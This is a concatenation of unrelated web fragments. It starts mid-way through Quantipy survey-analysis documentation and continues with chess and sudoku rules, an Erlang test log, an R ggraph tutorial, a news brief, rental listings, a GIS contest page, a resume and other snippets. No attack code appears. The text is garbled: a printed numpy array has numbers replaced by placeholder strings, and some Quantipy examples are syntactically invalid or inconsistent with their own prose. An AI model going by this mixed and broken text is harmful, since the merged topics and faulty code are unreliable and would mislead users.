2 129.877415 105.438740
3 270.823427 261.132200
4 466.994617 438.363240
5 619.453850 585.361892
96 144.078833 118.023747
98 24.899174 16.923248
It is also possible to exclusively show (effective) base sizes using the show parameter:
>>> q.count(show='cbase', margin=True)
Question gender
Values 1 2 All
Question Values
q8 cbase 1156.803818 1102.965971 2259.769789
>>> q.count(show='rbase', margin=False)
Question gender
Values rbase
Question Values
q8 1 870.282554
2 235.316156
3 531.955628
4 905.357857
5 1204.815742
96 262.102580
98 41.822422
>>> q.count(show='ebase', margin=True)
Question gender
Values 1 2 All
Question Values
q8 ebase 792.151179 795.996416 1587.054368
| method: | quantipy.Quantity.describe(show='summary', margin=True, as_df=True) |
|---|
Similar to count(), the describe() method will by default generate a summary table of distribution statistics. The margin parameter controls showing and hiding the analysis for the total (bivariate) number of cases in the Link definition:
>>> link = stack[name_project]['no_filter']['q5_1']['gender']
>>> q = qp.Quantity(link, 'weight_a')
>>> q.describe()
Question gender
Values 1 2 All
Question Values
q5_1 All 3970.518490 4284.481510 8255.000000
mean 23.970385 27.112158 25.601017
stddev 38.969433 40.745416 39.929528
min 1.000000 1.000000 1.000000
25% 3.000000 3.000000 3.000000
median 4.000000 5.000000 5.000000
75% 5.000000 5.000000 5.000000
max 98.000000 98.000000 98.000000
>>> q.describe(margin=False)
Question gender
Values 1 2
Question Values
q5_1 All 3970.518490 4284.481510
mean 23.970385 27.112158
stddev 38.969433 40.745416
min 1.000000 1.000000
25% 3.000000 3.000000
median 4.000000 5.000000
75% 5.000000 5.000000
max 98.000000 98.000000
It is also possible to only show isolated statistics by specifying the show parameter as one of the following values:
| show | Calculation | Notes |
|---|---|---|
| 'mean' | Arithmetic mean | |
| 'median' | Median, 0.5-percentile | per SPSS Statistics/ Dimensions approach, method 6 in [1] |
| 'var' | Unbiased (n-1) sample variance | |
| 'stddev' | Standard deviation | np.sqrt(var) |
| 'varcoeff' | Coefficient of variation | |
| 'sem' | Standard error of the mean | |
| 'max' | Maximum | always unweighted |
| 'min' | Minimum | always unweighted |
>>> q.describe(show='mean', margin=True)
Question gender
Values 1 2 All
Question Values
q5_1 mean 23.970385 27.112158 25.601017
| method: | quantipy.Quantity.combine(codes=None, op=None, op_only_False, margin=True, as_df=True) |
|---|
combine() is a flexible method to summarize code values into groups on-the-fly with the additional functionality to sum or substract the results from one another. A simple example is to calculate a net category of values found in the data:
>>> link = stack[name_project]['no_filter']['q8']['gender']
>>> q = qp.Quantity(link, 'weight_a')
>>> q.combine(group=[1, 2, 3])
Question gender
Values 1 2 All
Question Values
q8 net 603.30352 548.74762 1152.05114
The group parameter can also be provided as a list of dict mappings grouping names to lists of codes in order to generate multiple nets at once:
>>> grps = [{'A': [1,2,3]}, {'B': [4, 5]}, {'C (residuals)': [96, 98]}]
>>> q.combine(group=grps)
Question gender
Values 1 2 All
Question Values
q8 A 603.303520 548.747620 1152.051140
B 859.773667 814.457890 1674.231557
C (residuals) 168.978007 134.946995 303.925002
To calculate a result from the new code groups the op parameter accepts a dict in the form of:
{calculation_name: (operator, [group_1, group_2])}
For example, to perform the Net Promoter Score metric frequently used in MR, combine() could be used as follows (please ignore the not completely appropriate scaling of the question):
>>> link = stack[name_project]['no_filter']['q6_1']['gender']
>>> q = qp.Quantity(link, 'weight_a')
>>> grps = [{'Promoters': [9,10]},
... {'Passives': [7,8]},
... {'Detractors': [1,2,3,4,5,6]}]
>>> calc = ['NPS': (sub, ['Promoters', 'Detractors'])]
>>> q.combine(groups=grps, op=calc)
Question gender
Values 1 2 All
Question Values
q6_1 Promoters 441.785993 513.365920 955.151912
Passives 59.038108 62.389019 121.427126
Detractors 3469.694389 3708.726572 7178.420961
NPS -3027.908396 -3195.360652 -6223.269049
Again, the margin parameter is supported and it is possible to only show the calculation result exclusively setting op_only to True:
>>> q.combine(groups=grps, op=calc, op_only=True, margin=False)
Question gender
Values 1 2
Question Values
q6_1 NPS -3027.908396 -3195.360652
Quantity aggregations results are passed and stored in the object’s result property, i.e. the __repr__ method will return its content instead of the general description of the object as long as result is not None:
>>> link = stack[name_project]['no_filter']['q8']['gender']
>>> q = qp.Quantity(link, 'weight_a').count()
>>> q
Question gender
Values 1 2 All
Question Values
q8 All 1156.803818 1102.965971 2259.769789
1 449.982974 420.299580 870.282554
2 129.877415 105.438740 235.316156
3 270.823427 261.132200 531.955628
4 466.994617 438.363240 905.357857
5 619.453850 585.361892 1204.815742
96 144.078833 118.023747 262.102580
98 24.899174 16.923248 41.822422
In the method signatures of count(), describe() and combine() the as_df parameter is set to True by default, which means that computation results are returned as multi-indexed pandas.DataFrame before they are passed to result: On both the index and the column axis, the question (=variable) name is presented on the first and the answer code entries found in the data on the second level of the index. It is, however, possible to store the underlying raw numpy.array by setting as_df=False:
>>> q = qp.Quantity(link, 'weight_a').count(as_df=False)
>>> q
[[ 1156.80381804 1102.96597105 2259.7697891 ]
[<PHONE_NUMBER>1<PHONE_NUMBER>8<PHONE_NUMBER>9]
[<PHONE_NUMBER>6<PHONE_NUMBER>5<PHONE_NUMBER>1]
[<PHONE_NUMBER><PHONE_NUMBER>5<PHONE_NUMBER>5]
[<PHONE_NUMBER>5<PHONE_NUMBER>2<PHONE_NUMBER>7]
[<PHONE_NUMBER>1<PHONE_NUMBER>9 1204.815742 ]
[<PHONE_NUMBER><PHONE_NUMBER>2<PHONE_NUMBER>2]
[ 24.89917382 16.92324804 41.82242186]]
That makes it possible to use both pandas and numpy library methods on a Quantity result to further modify the data aggregate:
>>> q.result[1:,:].mean()
385.871708399
| method: | quantipy.Quantity.to_df(row_val=None, col_val=None) |
|---|
Any Quantity.result that has been stored as type numpy.array can be transformed to a pandas.DataFrame and passed to the result property using the to_df() method. Use cases for a manual export range from simply changing the text displayed in the Values-level of the pandas.MultiIndex to applying a well-formatted layout to customizing aggregations or View method programming.
Consider the simple case first in which the object’s default appearance of a column base aggregation result is overwritten: By providing a new text via the row_val parameter it changes to:
>>> new_text = 'Sample: women only'
>>> q.count(show='cbase', as_df=False).to_df(row_val=new_text)
Question gender
Values 1 2 All
Question Values
q8 Sample: women only 1156.803818 1102.965971 2259.769789
For more complex operations, however, it is important to be aware of the shape of the aggregation result and provide the matching number of text values: Picking up the already known result from the previous paragraph, to_df() would need to know the values for both the index and the column axis for the pandas.DataFrame since it cannot infer them:
>>> q.result = q.result[1:,:].mean()
>>> q.to_df(row_val='mean of all counts', col_val='just a demo')
>>> q
Question gender
Values just a demo
Question Values
q8 mean of all counts 385.871708
| method: | quantipy.Quantity.normalize(on='col') |
|---|
count() and combine() results are always expressed in terms of simple cell counts. The normalize() method therefore takes the duty to easily compute a percentage representation with regard to either the column (by default) or row base sizes, i.e. changing the result to column or row percentages. Normalizing works together with both numpy.array or pandas.DataFrame type of results:
>>> q = qp.Quantity(link, 'weight_a').count()
>>> q.normalize()
>>> q
Question gender
Values 1 2 All
Question Values
q8 All 100.000000 100.000000 100.000000
1 38.898815 38.106305 38.512001
2 11.227264 9.559564 10.413280
3 23.411353 23.675454 23.540258
4 40.369388 39.744040 40.064163
5 53.548738 53.071618 53.315862
96 12.454906 10.700579 11.598641
98 2.152411 1.534340 1.850738
>>> q = qp.Quantity(link, 'weight_a').combine(group=[1, 2, 3], as_df=False)
>>> q.normalize('row').to_df('net - row % of codes: 1, 2, 3')
>>> q
Question gender
Values 1 2 All
Question Values
q8 net - row % of codes: 1, 2, 3 52.367773 47.632227 100
| method: | quantipy.Quantity.rescale(scaling) |
|---|---|
| method: | quantipy.Quantity.missingfy(codes=None, keep_codes=False, keep_base=True, inplace=True) |
Adding to the aggregation features, the Quantity object also provides utilities to change the factor scaling of the associated case data and to ignore certain codes from aggregation procedures. A common use case for the latter is to ignore non-response or residual categories from the sample size when calculating summary statistics or percentages: Values 96 and 98 from the now familiar q8 question can be identified as “None of them” and “Don’t know” respectively, missingfy() helps to get rid of them:
>>> q.missingfy(codes=[96, 98], keep_base=False)
>>> q.count()
>>> q
Question gender
Values 1 2 All
Question Values
q8 All 987.825811 968.018976 1955.844787
1 449.982974 420.299580 870.282554
2 129.877415 105.438740 235.316156
3 270.823427 261.132200 531.955628
4 466.994617 438.363240 905.357857
5 619.453850 585.361892 1204.815742
96 0.000000 0.000000 0.000000
98 0.000000 0.000000 0.000000
Since codes 96 and 98 are no longer considered in the aggregation, the ‘All’-margins now only take into account codes 1 to 5, which is reflected in the percentage values:
>>> q.normalize()
>>> q
Question gender
Values 1 2 All
Question Values
q8 All 100.000000 100.000000 100.000000
1 45.552867 43.418527 44.496504
2 13.147805 10.892218 12.031433
3 27.416112 26.975938 27.198254
4 47.274996 45.284571 46.289862
5 62.708814 60.470084 61.600785
96 0.000000 0.000000 0.000000
98 0.000000 0.000000 0.000000
The rescale() method is especially useful in combination with describe() as it will transform a scale question on-the-fly. In the following example the 5-point scale question q5_1 is first cleaned from the non-response options 97 and 98 and then rescaled to range from 0-100 instead from 1 to 5. Without any modifcations, the describe() result was looking like this (see above):
Question gender
Values 1 2 All
Question Values
q5_1 All 3970.518490 4284.481510 8255.000000
mean 23.970385 27.112158 25.601017
stddev 38.969433 40.745416 39.929528
min 1.000000 1.000000 1.000000
25% 3.000000 3.000000 3.000000
median 4.000000 5.000000 5.000000
75% 5.000000 5.000000 5.000000
max 98.000000 98.000000 98.000000
Missingfying codes 97 and 98 will correct the sample statictics - the base is reduced and e.g. the mean is now inside the value range of the 1-to-5 scale:
>>> q.missingfy(codes=[96, 98], keep_base=False)
>>> q.describe()
>>> q
Question gender
Values 1 2 All
Question Values
q5_1 All 3107.198494 3219.508253 6326.706747
mean 3.440364 3.689914 3.567354
stddev 1.259799 1.321693 1.297576
min 1.000000 1.000000 1.000000
25% 3.000000 3.000000 3.000000
median 3.000000 3.000000 3.000000
75% 5.000000 5.000000 5.000000
max 5.000000 5.000000 5.000000
Rescaling to 0-100 is done by simply passing a dict that maps old to new codes and passing it to rescale():
>>> new_scaling = {1: 0, 2:25, 3:50, 4:75, 5:100}
>>> q.rescale(new_scaling)
>>> q.describe()
>>> q
Question gender
Values 1 2 All
Question Values
q5_1 All 3107.198494 3219.508253 6326.706747
mean 61.009105 67.247852 64.183853
stddev 31.494975 33.042328 32.439408
min 0.000000 0.000000 0.000000
25% 50.000000 50.000000 50.000000
median 50.000000 50.000000 50.000000
75% 100.000000 100.000000 100.000000
max 100.000000 100.000000 100.000000
As expected, the statistics now range between 0-100.
Footnotes
| [1] | Hyndman, R. J. and Fan, Y. (1996): Sample Quantiles in Statistical Packages The American Statistician 50, no. 4, 361–365. |


Corner Chess
White to move.
Ply: 0
Rules
-
At each ply, the player can either bring a new piece into play,
or move an existing piece in the board.
-
The first move for each player (white and black), must be bringing the King into play.
-
Pieces being brought into play cannot be placed over an existing piece.
-
White can only check black after black has checked or at ply 4 (whichever is earlier).
-
Black cannot check white before ply 2.
To Play
-
Select a board size to play corner chess on.
-
Drag pieces either from outside the board into the board, or a piece inside the board
to another desired location.
-
When a game ends, select the board size option below to restart the game.
- by Adithya Parthasarathy and Vighnesh Birodkar


This is a funny video where a guy makes a sensor to play the Seinfeld music when someone opens a door. I think it would be relatively easy to recreate by the time the class is ending and I have the skills necessary.


REMOTE MONITORING VEHICLE
Surveillance Footage
Motor Control
Camera Tilt Control
Camera Pan Control
Sensor
Light:
ON
{% csrf_token %}
OFF
Temperature:
°C
Humidity:
%
Console log>>


Warehouse Keeper Raut:
Welcome! Our Iron Gate Guild can safely store and deliver your items even during wartime. You can recover anything you deposit at any time, so don't worry.
Private Warehouse
Clan Warehouse
Learn skills.
Quest


Type Here:
Bold
Italic
Custom Style
Header
Code Box
List
Ordered List
Hyperlink
Image
Notebox
Direction
Set Focus
Stay Selected
Disabled


Members
(constant) audioContext :AudioContext
Expose a unique audio context singleton as the default audio context used by the components of the Waves Audio library and applications using the library.
Type:
- AudioContext
- Source:
Example
import * as audio from 'waves-audio';
const audioContext = audio.audioContext;
Methods
getScheduler() → {Scheduler}
Returns a unique instance of Scheduler
- Source:
- See:
-
- Scheduler
Returns:
- Type
- Scheduler
getSimpleScheduler() → {SimpleScheduler}
Returns a unique instance of SimpleScheduler
- Source:
- See:
-
- SimpleScheduler
Returns:
- Type
- SimpleScheduler


The objective of sudoku is to enter a digit from 1 through 9 in each cell, in such a way that:
- Each horizontal row contains each digit exactly once
- Each vertical column contains each digit exactly once
- Each block or region contains each digit exactly once
In each sudoku puzzle, several digits have already been entered (the "givens"); these may not be changed.
The puzzler's job is to fill the remainder of the block with digits. Once all of the cell are filled with a valid number, the game is won.
The following are the basic rules used to solve sudoku:
| Hidden Pairs: If two cells in a group contain a pair of candidates (hidden amongst other candidates) that are not found in any other cells in that group, then other candidates in those two cells can be excluded safely. In the example on the right, the candidates 1 & 9 are only located in two highlighted cells of a box, and therefore form a 'hidden' pair. All candidates except 1 & 9 can safely be excluded from these two cells as one cell must be the 1 while the other must be the 9. (Johnson, 2005) |
| Hidden Triples: If three candidates are restricted to three cells in a given group, then all other candidates in those three cells can be excluded. In the example below, the candidates 3, 6 and 7 are found only in column four, six and seven. Therefore, all other candidates can be excluded from those three cells. (Johnson, 2005) |
| Hidden Quads: If four candidates are restricted to four cells in a given group, then all other candidates in those four cells can be excluded. (Johnson, 2005) |
| "X-Wing": For every Sudoku, a value can exist only once in each row, column and box. If a value has only 2 possible locations in a given row (ie it has a candidate in only 2 cells in that row), then it must be assigned to one of these 2 cells. Given a particular puzzle that has two rows where a given candidate 'C' is restricted to exactly the same two columns (and no more than 2 columns), and since 1) candidate C must be assigned once in each of these two rows, and 2) no column can contain more than one of candidate C then candidate C must be assigned exactly once in each of these two columns within these two rows. Therefore, it's not possible for any other cells in these two columns to contain candidate C. This same logic applies when a puzzle that has two columns where candidate C is restricted to exactly the same two rows. This will be understood more easily by examining the example below. Filtering has been added so only candidate 6's are visible. unless subsequently recolored. The cells marked with a blue highlight form an "X-Wing" since rows one and nine both have only two cells with candidate 6's and these two cells share the same two columns. Therefore, other candidate 6's in columns six and nine (highlighted yellow) can safely be removed. (Note: Candidate C must be assigned to either 1) the top-left and bottom-right corners, or 2) the bottom-left and top-right corners of the rectangular grid created by these two rows and columns. The pattern created by these crossed diagonals is the likely origin to this technique's name.) (Johnson, 2005) |
Johnson, A. (2005). SOLVING SUDOKU. Retrieved August 6, 2015, from http://angusj.com/sudoku/hints.php


Posted on Jun 11, 2011
When the OEB started, it was based on the Twentieth Century New Testament, the translators of which were as English as, well, English people. The OEB started out, therefore, with Oxford Spelling.
One of the changes that was made was to create a version of the OEB for readers who are used to the way words are commonly spelt in the United States, but we always had a plan to make both versions available.
Now, if you go the “Get” page on this site, you can download (in PDF, Text or Word format) the OEB in either US spelling or Commonwealth spelling for those readers outside the US. Hello again to Australia, Canada, Nigeria, the UK, New Zealand, Ireland, India, Kenya, Jamaica, Tuvalu and all the other English speaking countries! The OEB-Cth spelling version retains the Oxford spelling ‘ize’ endings to appropriate words in line with the standard English used by the UN and the Oxford English Dictionary.


*** User 2017-05-05 20:41:54.617 ***
20:41:54.617 [info] Disabling blocking sync...
*** User 2017-05-05 20:41:54.622 ***
20:41:54.622 [info] Configured peer_service_manager partisan_default_peer_service_manager on node 'node-1@MacBook-Pro-de-Anne-France'
*** User 2017-05-05 20:41:56.099 ***
20:41:56.099 [info] Enabling membership...
*** User 2017-05-05 20:41:56.101 ***
20:41:56.100 [info] Disabling blocking sync...
*** User 2017-05-05 20:41:56.105 ***
20:41:56.105 [info] Configured peer_service_manager partisan_default_peer_service_manager on node 'node-2@MacBook-Pro-de-Anne-France'
*** User 2017-05-05 20:41:57.575 ***
20:41:57.575 [info] Enabling membership...
*** User 2017-05-05 20:41:57.577 ***
20:41:57.577 [info] Disabling blocking sync...
*** User 2017-05-05 20:41:57.582 ***
20:41:57.581 [info] Configured peer_service_manager partisan_default_peer_service_manager on node 'node-3@MacBook-Pro-de-Anne-France'
*** User 2017-05-05 20:41:57.799 ***
Joining node: 'node-3@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 60925
*** User 2017-05-05 20:41:57.800 ***
Joining issued: 'node-3@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 60925
*** User 2017-05-05 20:41:57.800 ***
Joining node: 'node-2@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 60909
*** User 2017-05-05 20:41:57.801 ***
Joining issued: 'node-2@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 60909
*** User 2017-05-05 20:41:57.801 ***
Joining node: 'node-1@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 60896
*** User 2017-05-05 20:41:57.802 ***
Joining issued: 'node-1@MacBook-Pro-de-Anne-France' to 'runner@MacBook-Pro-de-Anne-France' at port 60896
*** User 2017-05-05 20:41:57.862 ***
Waiting for join to complete with manager: partisan_default_peer_service_manager
*** User 2017-05-05 20:41:57.864 ***
Finished.
*** CT 2017-05-05 20:41:57.864 *** COVER INFO
Adding nodes to cover test: ['runner@MacBook-Pro-de-Anne-France']
*** CT 2017-05-05 20:41:57.872 *** COVER INFO
Successfully added nodes to cover test: []
*** User 2017-05-05 20:42:01.884 ***
Case finished: ivar_test
*** User 2017-05-05 20:42:08.930 ***
20:42:08.930 [info] Application lasp exited with reason: stopped
*** User 2017-05-05 20:42:08.931 ***
20:42:08.931 [info] Application partisan exited with reason: stopped
=== Ended at 2017-05-05 20:42:08
=== successfully completed test case
=== Returned value: ok
Test run history
| Top level test index


{% block content %}
See
all
the books.
Get them by
id
.
curl -H "Content-Type: application/json" -d [json] http://localhost:1337/books/
{% endblock %}


China Jan-Oct FDI up 6.6% y/y in yuan terms
by ReutersBEIJING — Foreign direct investment (FDI) in China rose 6.6% from a year earlier to 752.41 billion yuan ($107.58 billion) in the first 10 months of the year, the commerce ministry said on Monday.
In October, FDI to China grew 7.4% from a year earlier to 69.2 billion yuan, the ministry said.
Foreign investment is expected to remain stable over the full year, said Zong Changqing, director of the department for foreign investment under the Ministry of Commerce, at a news briefing in Beijing on Monday.
Overall, China has not seen a large-scale retreat of foreign investment, said Zong, when asked about companies moving production to other countries to avoid higher pressure brought about by tariffs.
China and the United States remain locked in a bruising trade war involving tariff hikes on billions of dollars worth of each other’s goods. ($1 = 6.9941 Chinese yuan renminbi) (Reporting by Lusha Zhang and Se Young Lee; Editing by Shri Navaratnam and Alex Richardson)


This post describes how to add labels on a
hierarchical edge bundling
chart. It explains how to proceed, with reproducible
R
code, using the ggraph
package.
Previous post of the hierarchical edge bundling section explained:
Let’s remind how to prepare the data for the
ggraph
library.
# Libraries
library(ggraph)
library(igraph)
library(tidyverse)
library(RColorBrewer)
# create a data frame giving the hierarchical structure of your individuals
set.seed(1234)
d1 <- data.frame(from="origin", to=paste("group", seq(1,10), sep=""))
d2 <- data.frame(from=rep(d1$to, each=10), to=paste("subgroup", seq(1,100), sep="_"))
edges <- rbind(d1, d2)
# create a dataframe with connection between leaves (individuals)
all_leaves <- paste("subgroup", seq(1,100), sep="_")
connect <- rbind(
data.frame( from=sample(all_leaves, 100, replace=T) , to=sample(all_leaves, 100, replace=T)),
data.frame( from=sample(head(all_leaves), 30, replace=T) , to=sample( tail(all_leaves), 30, replace=T)),
data.frame( from=sample(all_leaves[25:30], 30, replace=T) , to=sample( all_leaves[55:60], 30, replace=T)),
data.frame( from=sample(all_leaves[75:80], 30, replace=T) , to=sample( all_leaves[55:60], 30, replace=T)) )
connect$value <- runif(nrow(connect))
# create a vertices data.frame. One line per object of our hierarchy
vertices <- data.frame(
name = unique(c(as.character(edges$from), as.character(edges$to))) ,
value = runif(111)
)
# Let's add a column with the group of each name. It will be useful later to color points
vertices$group <- edges$from[ match( vertices$name, edges$to ) ]
Next step: computing the label features that will be displayed all around the circle, next to the nodes:
Those information are computed and added to the
vertices
data frame.
#Let's add information concerning the label we are going to add: angle, horizontal adjustement and potential flip
#calculate the ANGLE of the labels
vertices$id <- NA
myleaves <- which(is.na( match(vertices$name, edges$from) ))
nleaves <- length(myleaves)
vertices$id[ myleaves ] <- seq(1:nleaves)
vertices$angle <- 90 - 360 * vertices$id / nleaves
# calculate the alignment of labels: right or left
# If I am on the left part of the plot, my labels have currently an angle < -90
vertices$hjust <- ifelse( vertices$angle < -90, 1, 0)
# flip angle BY to make them readable
vertices$angle <- ifelse(vertices$angle < -90, vertices$angle+180, vertices$angle)
Now that label features have been computed, we just need to display
it on the chart using the geom_node_text()
function.
# Create a graph object
mygraph <- igraph::graph_from_data_frame( edges, vertices=vertices )
# The connection object must refer to the ids of the leaves:
from <- match( connect$from, vertices$name)
to <- match( connect$to, vertices$name)
# Basic usual argument
ggraph(mygraph, layout = 'dendrogram', circular = TRUE) +
geom_node_point(aes(filter = leaf, x = x*1.05, y=y*1.05)) +
geom_conn_bundle(data = get_con(from = from, to = to), alpha=0.2, colour="skyblue", width=0.9) +
geom_node_text(aes(x = x*1.1, y=y*1.1, filter = leaf, label=name, angle = angle, hjust=hjust), size=1.5, alpha=1) +
theme_void() +
theme(
legend.position="none",
plot.margin=unit(c(0,0,0,0),"cm"),
) +
expand_limits(x = c(-1.2, 1.2), y = c(-1.2, 1.2))
To get the final figure, it is necessary to add customization described in graph #310:
ggraph(mygraph, layout = 'dendrogram', circular = TRUE) +
geom_conn_bundle(data = get_con(from = from, to = to), alpha=0.2, width=0.9, aes(colour=..index..)) +
scale_edge_colour_distiller(palette = "RdPu") +
geom_node_text(aes(x = x*1.15, y=y*1.15, filter = leaf, label=name, angle = angle, hjust=hjust, colour=group), size=2, alpha=1) +
geom_node_point(aes(filter = leaf, x = x*1.07, y=y*1.07, colour=group, size=value, alpha=0.2)) +
scale_colour_manual(values= rep( brewer.pal(9,"Paired") , 30)) +
scale_size_continuous( range = c(0.1,10) ) +
theme_void() +
theme(
legend.position="none",
plot.margin=unit(c(0,0,0,0),"cm"),
) +
expand_limits(x = c(-1.3, 1.3), y = c(-1.3, 1.3))


Salamanda Travel
Offers competitive quotes for all major motorhome rental & car hire companies in New Zealand including Apollo, Kea Campers and Jucy Rentals.
New Zealand offers a huge variety of rental campervans and motorhomes to choose from. Whether you are looking for an economical small camper van customised for sleeping in the back or a large 6-berth motorhome with shower and cookings / dining facilities, our campervan rentals guide has it covered. Travelling by motorhome is the ideal way to see New Zealand because it doesn't matter how remote the place is you visit, you are assured to always have a place to sleep and the cooking facilities on hand at meal time.
Offers competitive quotes for all major motorhome rental & car hire companies in New Zealand including Apollo, Kea Campers and Jucy Rentals.
Offers a service that compares the price of campervan rental operators including Apollo, Cheapa Campa, Hippie Camper and Star RV in New Zealand.
Offers a large selection of motorhomes, RV's and 4WD for hire. Includes competitive rates, wide choice plus airport transfers are also available.
Offers ultra-modern, custom built motorhomes ideal for travellers who like to go further off the beaten track without compromising on space & comfort.
Offers economical camper vans uniquely painted by local artists and comes fully fitted out with everything you need for your New Zealand holiday.
Offers a wide selection of NZ Campervans to suit all budgets. Also can assist with Interislander Ferry & Milford Sound Cruise bookings.
Offers a wide range of motorhomes with air bags, GPS, LCD TVs. Includes vehicle insurance, airport transfers, road maps and break down assistance.
Offers a motorhome / campervan rental search facility sourcing a wide range of options from selected New Zealand hire companies.
Offers quality campervans with depots based in Auckland & Christchurch. Motorhomes are modern, fully equipped and include 24 hour on-road assistance.
Offers budget campervan hire with free inclusions such as 24-hour roadside assistance, insurance, airport transfers, picnic tables and much more.
Offers modern, fully self-contained 2 - 6 berth campervans boasting luxurious innovations, eco friendly features and 24/7 on-road assistance.


Each year, TxGIS Day hosts a geospatial student research presentation exhibition and competition. This event is judged by a panel of audience members and experts in the field.
We invite all students from Texas A&M University and the Health Science Center to submit their geospatial work. Participants will have the opportunity to win prizes (best team or individual submission) proudly sponsored by the following organization:
Prizes
Great prizes will be awarded to first, second and third place entries!
-
1st Prize $200
-
2nd Prize $100
-
3rd Prize $50
* Prizes provided by the
University Libraries.
Registration and Abstract Submission
- Date: November 9, 2020
- Time: Midnight
- Location: Online
Eligibility
Only current TAMU graduate and undergraduate students are eligible to participate in this competition.
Finalist Selection
- Finalists will be notified on November 16, 2020
- Finalists will be expected to present an oral presentation at the Presentation Competition Session (Tuesday, November 17th)
- Only finalists will be allowed to present at the Presentation Competition Session
Presentation Competition Session
All finalists will be required to deliver an oral presentation.
- Date: November 17, 2020
- Time: 2:15pm - 3:45pm
- Location: MSC, 2406B
First Place Award Announcement
Winners will be announced on Wednesday, November 18 at the GIS Industry Panel & Lunch & Awards session.
Abstract Guidelines
- Any GIS and Remote Sensing work will be accepted
- Submit an abstract of your individual or team work
- Submit ongoing or completed work
- Abstracts should include introduction, objectives, approach, results, discussion, and conclusions (or their equivalents)
- Word limit: 500 words or less
- No figures, tables, or references
Presentation Guidelines
- 10 minute oral presentation + 5 minutes for questions
- Powerpoint encouraged
- Presentation should include introduction, objectives, approach, results, discussion, and conclusions (or their equivalents)
- Only individuals and/or teams selected as finalists will present in the competition session
Judging
All finalists and the winner will be selected by a panel of TAMU faculty and industry guests.
- Finalists selection criteria: Contribution to or use of GIS as described in abstract
- Overall winner: Quality of abstract and oral presentation
Competition Rules
- Any GIS and/or Remote Sensing work will be accepted.
- Submission may be of ongoing or completed work.
- Submissions may be for individual or team work.
- You may submit unlimited entries per person.
- A map is not required on your submission, but you are submitting to a TxGIS Day Competition, so...
- Abstract submissions should include introduction, objectives, approach, results, discussion, and conclusions (or their equivalents).
- Submisisons must be original - unique work.
- Abstract submissions must be in pdf format.
- Abstract Submissions may not to exceed 10MB.
- Winners do not have to be present to win but maintain the responsibility of collecting any prizes that are won in the contest.
- Winners will be responsible for any government taxes.
- Only individuals and/or teams selected as finalists will present in the competition session.
- Prizes - 1st, 2nd and 3rd place prizes will be awarded.
- Only one (1) prize can be awarded per entry (even if an entry has multiple authors, only one prize is awarded).
Additional Information
For any questions regarding the presentation competition details, please email the TxGIS Day Committee
Submit Your Presentation


String Matcher
Finds or Replaces the matching string from a given regular expression
Enter a regular expression, a string of text to check it against and press 'Submit'.
You can either find the matching substring in the entered string, or replace the matching
text with another string. Depending on which option you choose.
Enjoy.


R2-D2
This example demonstrates the use of the Redux Ship DevTools. Install the extension from the Chrome store and follow the instructions to use it in your Redux Ship projects.
Redux Ship DevTools
Not enough pixels The dev tools cannot be displayed on mobile phone screens.
| Vertically | sequential events |
| Horizontally | concurrent events |
| GetState | get a part of the Redux state |
| Commit | dispatch a synchronous action to Redux |
| Effect | a user-defined side effect (API call, timer, ...) |


Infinity Room
Strobe
Main Run
Rainbow
All White
Fade In
Fade Out
Spiral
Zoom
Rows Columns Blink
Night full of stars
Color:
Brightness:
Speed:


material.core.componentRegistry
A component instance registration service. Note: currently this as a private service in the SideNav component.


Home
Register
Explore
My Account
Admin
Add your review
Popular Filters
Deals
Hotel Facilities
Room Amenities
Wellness & Spa
Activities
Free Cancellation
Restaurant
Free Breakfast
Pay at the property
Airport Shuttle
Pool
Beach
WIFI
Excellent Value
24-hour Reception
24-hour Room Service
Business Hotel
Luxury Hotel
Deck Chairs
Free WiFi
Jain Food
Halal Food
Kosher
Hotel Bar
Non-smoking Rooms
Balcony(Upon inquiry)
Computer with internet
Electric Kettle
Fridge
Hair Dryer
Microowave
Safe
Satellite TV
Television
Washing Machine
Towels at the Pool
Body Treatments
Gym
Hammam
Massage
Sauna
Spa
Steam Room
Whirpool/Hot tub
Bike Rental
Boat Rental
Diving
Organised Activities
Skiing


This specification defines the hierarchy of the Application modules.
| Interface | Method |
| ApplicationObject |
|
| Application |
|
Introduction
The Application modules are :
Access to the modules is provided through the interfaces :
- motor.application.navigation
Interfaces
ApplicationObject
Defines what is instantiated in the motor object.
There will be a motor.application object that allows accessing the functionality of the application module.
- readonly attribute Application application
Application
Application interface.
The submodules of Application (bluetooth and navigation) define the names and the features to be requested for being instantiated.


Add new documents to the document collection. Uploaded document should be approved by Regulator before sharing to partners
The list of document in document collection that can be shared to partners, The sharing of document is request from the Partner
Approve the document sharing request raised by partner. The access is provided to the document which is already approved by Regulator


Premiered short film "Synesthesia" in the Best Student Films category at the International Family Film Festival in Hollywood.
UC DAVIS DESIGN COMP.
OCT 2014
Top 10 in graduating class as a fresh-man for pint glass competition.
EDUCATION
UC DAVIS (GPA: 3.3)
2014-2017 (Expected)
B.A. Interaction Design
B.A. Cinema and Digital Media
UCLA (GPA: 4.0)
2015
Producing
Film Production
Storyboarding
Introduction to Animation
EXPERIENCE
UI/UX CONSULTANT
SEP 2015-PRESENT
Oversee the project from concept to reality.
Work with an American web design company for Chinese investors.
Extensive English/Chinese translating and in charge of User Experience and all graphic design (wheelsrnr.com)
GRAPHIC DESIGNER
JUN 2013-PRESENT
In charge of graphics and marketing for MaiAsia.com
Create identity and branding devices for various clients including Swendia Real Estate, FTA, WheelsRNR, Legacy Real Estate, etc.
LEADERSHIP
DIRECTOR, PRODUCER
MAR 2015-PRESENT
Assembled and coordinated more than 30 production members. Funded $600-$3000 budgets.
2016 DIRECTOR-IN-TRAINING 2015 MARKETING DIRECTOR
FEB 2015-PRESENT
Organized different teams of designers to brand, fundraise, and strategize for the UC Davis Design Career Fair. In charge of 5 Branding and Portfolio Workshops (ucddesigncareerfair.com)
CHIEF COMM. OFFICER
OCT 2014-JUN 2015
In charge of marketing and recruiting.
Created graphics, newsletters, and websites and increased membership by 150%


I've been fishing as long as I can remember, and it was my father that got me "hooked" on this sport! Fishing is just a great, positive way to spend time together with others while also enjoying and learning about nature. However, my favorite part about fishing is the mystery of the water, along with the never-ending quest to catch another slammer!
Even at a young age I was a FEARLESS angler! Just look at those rapids!
The goal of every angler is to catch big, RARE fish! I've caught a few fish that could thus be termed a "slammer", such as my first (and still only) Palomino along with my 20" Rainbow!"
